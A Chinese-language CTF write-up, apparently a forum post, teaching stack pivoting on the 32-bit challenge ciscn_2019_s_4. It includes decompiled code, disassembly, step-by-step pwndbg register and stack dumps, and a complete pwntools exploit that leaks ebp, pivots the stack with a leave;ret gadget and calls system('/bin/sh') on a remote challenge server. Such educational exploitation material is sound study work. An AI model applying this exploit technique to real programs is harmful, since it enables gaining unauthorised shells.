-
-
[原创]完全搞懂栈迁移
-
2021-8-8 23:36 16927
-
这篇文章详细来介绍下栈迁移,网上的很多贴子写的不够详细或者说完全是错的,还有好多是直接copy的其他作者的博客....
作者也是新手,大佬请绕路QAQ
题目是buu平上的ciscn_2019_s_4
先看下保护:
1 2 3 4 5 6 7 8 | gwt@ubuntu:~ / Desktop$ checksec ciscn_s_4 [ * ] '/home/gwt/Desktop/ciscn_s_4' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x8048000 ) gwt@ubuntu:~ / Desktop$ |
主要程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | int __cdecl main( int argc, const char * * argv, const char * * envp) { init(); puts( "Welcome, my friend. What's your name?" ); vul(); return 0 ; } int vul() { char s[ 40 ]; / / [esp + 0h ] [ebp - 28h ] BYREF memset(s, 0 , 0x20u ); read( 0 , s, 0x30u ); printf( "Hello, %s\n" , s); read( 0 , s, 0x30u ); return printf( "Hello, %s\n" , s); } / / 还有个后门函数 int hack() { return system( "echo flag" ); } |
这题输入的定长只有0x30,只能溢出8字节,所以不能ret2libc。
vuln是以leave ret结尾的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | .text: 08048595 .text: 08048595 ; __unwind { .text: 08048595 push ebp .text: 08048596 mov ebp, esp .text: 08048598 sub esp, 28h .text: 0804859B sub esp, 4 .text: 0804859E push 20h ; ' ' ; n .text: 080485A0 push 0 ; c .text: 080485A2 lea eax, [ebp + s] .text: 080485A5 push eax ; s .text: 080485A6 call _memset .text: 080485AB add esp, 10h .text: 080485AE sub esp, 4 .text: 080485B1 push 30h ; '0' ; nbytes .text: 080485B3 lea eax, [ebp + s] .text: 080485B6 push eax ; buf .text: 080485B7 push 0 ; fd .text: 080485B9 call _read .text: 080485BE add esp, 10h .text: 080485C1 sub esp, 8 .text: 080485C4 lea eax, [ebp + s] .text: 080485C7 push eax .text: 080485C8 push offset format ; "Hello, %s\n" .text: 080485CD call _printf .text: 080485D2 add esp, 10h .text: 080485D5 sub esp, 4 .text: 080485D8 push 30h ; '0' ; nbytes .text: 080485DA lea eax, [ebp + s] .text: 080485DD push eax ; buf .text: 080485DE push 0 ; fd .text: 080485E0 call _read .text: 080485E5 add esp, 10h .text: 080485E8 sub esp, 8 .text: 080485EB lea eax, [ebp + s] .text: 080485EE push eax .text: 080485EF push offset format ; "Hello, %s\n" .text: 080485F4 call _printf .text: 080485F9 add esp, 10h .text: 080485FC nop .text: 080485FD leave .text: 080485FE retn .text: 080485FE ; } / / starts at 8048595 .text: 080485FE vul endp |
可以进行栈迁移。
leave其实就是以下的组合:
mov esp,ebp;
pop ebp ;
ret其实就是pop eip
输入0x20个a查看栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | pwndbg> stack 30 00 : 0000 │ esp 0xffffd048 —▸ 0xffffd098 —▸ 0xffffd0a8 ◂— 0x0 01 : 0004 │ 0xffffd04c ◂— 0x30 / * '0' * / 02 : 0008 │ 0xffffd050 —▸ 0xffffd070 ◂— 0x61616161 ( 'aaaa' ) 03 : 000c │ 0xffffd054 —▸ 0xf7ed9c43 (__read_nocancel + 25 ) ◂— pop ebx 04 : 0010 │ 0xffffd058 ◂— 0x0 05 : 0014 │ 0xffffd05c —▸ 0x80485e5 (vul + 80 ) ◂— add esp, 0x10 06 : 0018 │ 0xffffd060 ◂— 0x0 07 : 001c │ 0xffffd064 —▸ 0xffffd070 ◂— 0x61616161 ( 'aaaa' ) 08 : 0020 │ 0xffffd068 ◂— 0x30 / * '0' * / 09 : 0024 │ 0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887 0a : 0028 │ ecx 0xffffd070 ◂— 0x61616161 ( 'aaaa' ) ... ↓ 12 : 0048 │ 0xffffd090 —▸ 0x80486d8 ◂— push edi 13 : 004c │ 0xffffd094 —▸ 0xffffd154 —▸ 0xffffd327 ◂— './ciscn_s_4' 14 : 0050 │ ebp 0xffffd098 —▸ 0xffffd0a8 ◂— 0x0 15 : 0054 │ 0xffffd09c —▸ 0x804862a (main + 43 ) ◂— mov eax, 0 16 : 0058 │ 0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0 17 : 005c │ 0xffffd0a4 —▸ 0xffffd0c0 ◂— 0x1 |
可以看到ebp的内容是0xffffd0a8,输入的buf的地址是0xffffd070,相差0x38.
1 2 3 4 5 | payload = 'a' * ( 0x28 ) io.send(payload) io.recvuntil( 'a' * 0x28 ) ebp = u32(io.recv( 4 )) print hex (ebp) |
第二次构造的payload是这样:
1 2 | payload = p32(sys_addr) + 'aaaa' + p32(buf_add + 12 ) + b "/bin/sh\x00" payload + = ( 0x28 - len (payload)) * b 'a' + p32(buf_add - 4 ) + p32(leave) |
前面的0x28是用来填充,buf_addr-4
是覆写ebp的地址,leave覆写ret的地址。
所有的流程如下:
具体的调试情况如下:
执行源程序中的leave前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | EAX 0x8 EBX 0x0 ECX 0xffffffff EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0 EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 EBP 0xffffd098 —▸ 0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887 ESP 0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [ 0x804a018 ] EIP 0x80485fd (vul + 104 ) ◂— leave ──────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────── 0x80485ee <vul + 89 > push eax 0x80485ef <vul + 90 > push 0x80486ca 0x80485f4 <vul + 95 > call printf@plt < 0x80483e0 > 0x80485f9 <vul + 100 > add esp, 0x10 0x80485fc <vul + 103 > nop ► 0x80485fd <vul + 104 > leave 0x80485fe <vul + 105 > ret ↓ 0x80484b8 <deregister_tm_clones + 40 > leave 0x80484b9 <deregister_tm_clones + 41 > ret ↓ 0x8048400 <system@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_ + 24 ] < 0x804a018 > 0x8048406 <system@plt + 6 > push 0x18 ───────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────── 00 : 0000 │ esp 0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [ 0x804a018 ] 01 : 0004 │ 0xffffd074 ◂— 0x61616161 ( 'aaaa' ) 02 : 0008 │ 0xffffd078 —▸ 0xffffd07c ◂— '/bin/sh' 03 : 000c │ 0xffffd07c ◂— '/bin/sh' 04 : 0010 │ 0xffffd080 ◂— 0x68732f / * '/sh' * / 05 : 0014 │ 0xffffd084 ◂— 0x61616161 ( 'aaaa' ) |
执行源程序中的leave后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | EAX 0x8 EBX 0x0 ECX 0xffffffff EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0 EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 EBP 0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887 ESP 0xffffd09c —▸ 0x80484b8 (deregister_tm_clones + 40 ) ◂— leave EIP 0x80485fe (vul + 105 ) ◂— ret ─────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── 0x80485ef <vul + 90 > push 0x80486ca 0x80485f4 <vul + 95 > call printf@plt < 0x80483e0 > 0x80485f9 <vul + 100 > add esp, 0x10 0x80485fc <vul + 103 > nop 0x80485fd <vul + 104 > leave ► 0x80485fe <vul + 105 > ret < 0x80484b8 ; deregister_tm_clones + 40 > ↓ 0x80484b8 <deregister_tm_clones + 40 > leave 0x80484b9 <deregister_tm_clones + 41 > ret ↓ 0x8048400 <system@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_ + 24 ] < 0x804a018 > 0x8048406 <system@plt + 6 > push 0x18 0x804840b <system@plt + 11 > jmp 0x80483c0 ──────────────────────────────────────────────[ STACK ]────────────────────────────────────────────── 00 : 0000 │ esp 0xffffd09c —▸ 0x80484b8 (deregister_tm_clones + 40 ) ◂— leave 01 : 0004 │ 0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0 02 : 0008 │ 0xffffd0a4 —▸ 0xffffd0c0 ◂— 0x1 03 : 000c │ 0xffffd0a8 ◂— 0x0 04 : 0010 │ 0xffffd0ac —▸ 0xf7e1c647 (__libc_start_main + 247 ) ◂— add esp, 0x10 05 : 0014 │ 0xffffd0b0 —▸ 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 ... ↓ 07 : 001c │ 0xffffd0b8 ◂— 0x0 |
执行完源程序中的ret后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | EAX 0x8 EBX 0x0 ECX 0xffffffff EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0 EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 EBP 0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887 ESP 0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0 EIP 0x80484b8 (deregister_tm_clones + 40 ) ◂— leave ─────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── 0x80485f4 <vul + 95 > call printf@plt < 0x80483e0 > 0x80485f9 <vul + 100 > add esp, 0x10 0x80485fc <vul + 103 > nop 0x80485fd <vul + 104 > leave 0x80485fe <vul + 105 > ret ↓ ► 0x80484b8 <deregister_tm_clones + 40 > leave 0x80484b9 <deregister_tm_clones + 41 > ret ↓ 0x8048400 <system@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_ + 24 ] < 0x804a018 > 0x8048406 <system@plt + 6 > push 0x18 0x804840b <system@plt + 11 > jmp 0x80483c0 ↓ 0x80483c0 push dword ptr [_GLOBAL_OFFSET_TABLE_ + 4 ] < 0x804a004 > ──────────────────────────────────────────────[ STACK ]────────────────────────────────────────────── 00 : 0000 │ esp 0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0 01 : 0004 │ 0xffffd0a4 —▸ 0xffffd0c0 ◂— 0x1 02 : 0008 │ 0xffffd0a8 ◂— 0x0 03 : 000c │ 0xffffd0ac —▸ 0xf7e1c647 (__libc_start_main + 247 ) ◂— add esp, 0x10 04 : 0010 │ 0xffffd0b0 —▸ 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 ... ↓ 06 : 0018 │ 0xffffd0b8 ◂— 0x0 07 : 001c │ 0xffffd0bc —▸ 0xf7e1c647 (__libc_start_main + 247 ) ◂— add esp, 0x10 |
执行完构造payload中的leave后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | EAX 0x8 EBX 0x0 ECX 0xffffffff EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0 EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 EBP 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887 ESP 0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [ 0x804a018 ] EIP 0x80484b9 (deregister_tm_clones + 41 ) ◂— ret ─────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── 0x80485f9 <vul + 100 > add esp, 0x10 0x80485fc <vul + 103 > nop 0x80485fd <vul + 104 > leave 0x80485fe <vul + 105 > ret ↓ 0x80484b8 <deregister_tm_clones + 40 > leave ► 0x80484b9 <deregister_tm_clones + 41 > ret < 0x8048400 ; system@plt> ↓ 0x8048400 <system@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_ + 24 ] < 0x804a018 > 0x8048406 <system@plt + 6 > push 0x18 0x804840b <system@plt + 11 > jmp 0x80483c0 ↓ 0x80483c0 push dword ptr [_GLOBAL_OFFSET_TABLE_ + 4 ] < 0x804a004 > 0x80483c6 jmp dword ptr [ 0x804a008 ] < 0xf7fee000 > ──────────────────────────────────────────────[ STACK ]────────────────────────────────────────────── 00 : 0000 │ esp 0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [ 0x804a018 ] 01 : 0004 │ 0xffffd074 ◂— 0x61616161 ( 'aaaa' ) 02 : 0008 │ 0xffffd078 —▸ 0xffffd07c ◂— '/bin/sh' 03 : 000c │ 0xffffd07c ◂— '/bin/sh' 04 : 0010 │ 0xffffd080 ◂— 0x68732f / * '/sh' * / 05 : 0014 │ 0xffffd084 ◂— 0x61616161 ( 'aaaa' ) |
执行完构造payload中的ret后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | EAX 0x8 EBX 0x0 ECX 0xffffffff EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0 EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 EBP 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887 ESP 0xffffd074 ◂— 0x61616161 ( 'aaaa' ) EIP 0x8048400 (system@plt) ◂— jmp dword ptr [ 0x804a018 ] ─────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── 0x80485fc <vul + 103 > nop 0x80485fd <vul + 104 > leave 0x80485fe <vul + 105 > ret ↓ 0x80484b8 <deregister_tm_clones + 40 > leave 0x80484b9 <deregister_tm_clones + 41 > ret ↓ ► 0x8048400 <system@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_ + 24 ] < 0x804a018 > 0x8048406 <system@plt + 6 > push 0x18 0x804840b <system@plt + 11 > jmp 0x80483c0 ↓ 0x80483c0 push dword ptr [_GLOBAL_OFFSET_TABLE_ + 4 ] < 0x804a004 > 0x80483c6 jmp dword ptr [ 0x804a008 ] < 0xf7fee000 > ↓ 0xf7fee000 <_dl_runtime_resolve> push eax ──────────────────────────────────────────────[ STACK ]────────────────────────────────────────────── 00 : 0000 │ esp 0xffffd074 ◂— 0x61616161 ( 'aaaa' ) 01 : 0004 │ 0xffffd078 —▸ 0xffffd07c ◂— '/bin/sh' 02 : 0008 │ 0xffffd07c ◂— '/bin/sh' 03 : 000c │ 0xffffd080 ◂— 0x68732f / * '/sh' * / 04 : 0010 │ 0xffffd084 ◂— 0x61616161 ( 'aaaa' ) |
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | from pwn import * context.log_level = 'debug' io = remote( "node4.buuoj.cn" , 27655 ) # io = process("./ciscn_s_4") elf = ELF( "./ciscn_s_4" ) sys_addr = elf.sym[ 'system' ] leave = 0x080484b8 io.recv() payload = 'a' * ( 0x28 ) io.send(payload) io.recvuntil( 'a' * 0x28 ) # gdb.attach(io) ebp = u32(io.recv( 4 )) buf_add = ebp - 0x38 print hex (ebp) payload = p32(sys_addr) + 'aaaa' + p32(buf_add + 12 ) + b "/bin/sh\x00" payload + = ( 0x28 - len (payload)) * b 'a' + p32(buf_add - 4 ) + p32(leave) #payload = 'aaaa'+p32(sys_addr) + 'aaaa' + p32(buf_add+16) + b"/bin/sh\x00" #payload += (0x28 - len(payload))* b'a' + p32(buf_add) + p32(leave) #两个payload都可以,意思都一样 io.send(payload) io.interactive() |
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-8-8 23:44
被郁涛丶编辑
,原因: 修改
赞赏
他的文章
看原图